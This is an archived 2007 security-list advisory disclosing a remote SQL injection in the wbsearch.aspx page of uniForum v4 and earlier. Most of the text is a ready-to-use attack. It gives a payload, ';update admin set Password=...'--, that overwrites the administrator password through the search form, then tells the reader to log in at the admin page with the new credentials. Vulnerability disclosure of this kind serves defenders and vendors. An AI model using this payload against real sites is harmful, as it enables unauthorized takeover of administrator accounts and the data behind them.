OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
uniForum <= v4 (wbsearch.aspx) Remote SQL Injection Vulnerability

ajannhwthotmail.com
Date: Thu Jan 25 2007 - 11:05:35 CST

*******************************************************************************
# Title : uniForum <= v4 (wbsearch.aspx) Remote SQL Injection Vulnerability
# Author : ajann
# Contact : :(
# S.Page : ...
# Vendor : http://uniforum.biz/
# $$ : $99

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//wbsearch.aspx (POST Method) [SQL]

Example:

//Fin the ->wbsearch.aspx Before, see "by User", it write ';update admin set Password='000245'--

Login Admin:http://www.xxx.com/[path]/wbadmlog.aspx
Username: Administrator
Password: 000245

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!